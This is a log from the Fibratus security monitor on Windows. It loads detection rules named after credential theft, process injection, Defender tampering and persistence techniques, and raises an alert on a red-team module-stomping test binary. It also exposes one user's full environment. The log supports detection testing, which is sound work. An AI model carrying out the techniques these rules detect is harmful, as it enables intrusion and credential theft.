+time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T18:09:28+01:00 level=info msg=bootstrapping with pid 7600. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T18:09:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-dns=>false enable-mem=>false enable-handle=>false enable-vamap=>true enable-fileio=>true flush-interval=>1s enable-image=>true stack-enrichment=>true max-buffers=>36 enable-threadpool=>false min-buffers=>16 enable-net=>true enable-audit-api=>true enable-thread=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text max-backups=>15 level=>info log-stdout=>true] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 enabled=>false vhost=>/ exchange-type=>topic routing-key=>fibratus exchange=>fibratus delivery-mode=>transient timeout=>5s durable=>false passive=>false] http=>[ serializer=>json enabled=>false endpoints=>[] enable-gzip=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ sniff=>false healthcheck=>true index-name=>fibratus gzip-compression=>false timeout=>5s trace-log=>false template-name=>fibratus bulk-workers=>1 enabled=>false healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false fastscan=>true skip-files=>false skip-registry=>false skip-mmaps=>false excluded-procs=>[] skip-allocs=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-11T18:09:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T18:09:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T18:09:39+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 3171203 + Pid: 15612 + Tid: 4284 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 18:09:35.6922398 +0100 CET + Params: base_address➜ 1e654450000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 15612, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.seq.link: 4917931006763204608, rule.name: Potential NTDLL memory unhooking, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 15612 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: C:\Fibratus\redteam\module-stomping\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework64\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkDir64:C:\Windows\Microsoft.NET\Framework64\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 FrameworkVersion64:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x64;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x64;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework64\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX64\x64;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x64;C:\Program Files (x86)\Windows Kits\10\bin\\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework64\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x64 VSCMD_ARG_TGT_ARCH:x64 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{ba8f3393-b7b6-51ad-a3a4-08f184954571} WT_SESSION:b6d3ff5a-2423-4c7c-98ea-a87367996a63 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_ADD_64BIT:1 __DOTNET_PREFERRED_BITNESS:64 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin __VSCMD_PREINIT_VCToolsVersion:14.36.32532 __VSCMD_PREINIT_VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ windir:C:\WINDOWS] + + + + Seq: 3170354 + Pid: 15612 + Tid: 4284 + Type: SetThreadContext + CPU: 7 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 18:09:36.0857187 +0100 CET + Params: status➜ The handle is invalid + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Potential NTDLL memory unhooking, rule.seq.link: 4917931006763204608 + + Pid: 15612 + Ppid: 17996 + 